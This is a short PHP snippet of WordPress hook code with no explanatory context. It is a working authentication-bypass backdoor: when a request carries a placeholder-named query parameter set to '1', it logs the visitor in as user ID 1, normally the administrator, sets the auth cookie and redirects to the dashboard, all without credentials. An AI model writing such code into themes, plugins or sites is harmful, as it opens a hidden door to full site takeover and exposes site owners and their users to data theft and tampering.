<?php 

add_action('init', function() {
    if (isset($_GET['xxxxxxxxxxxx']) && $_GET['xxxxxxxxxxxx'] == '1') {
     
            $user_id = 1;
            wp_set_current_user($user_id);
            wp_set_auth_cookie($user_id);
            do_action('wp_login', get_userdata($user_id)->user_login, get_userdata($user_id));
            wp_redirect(admin_url());
            exit;

    }
});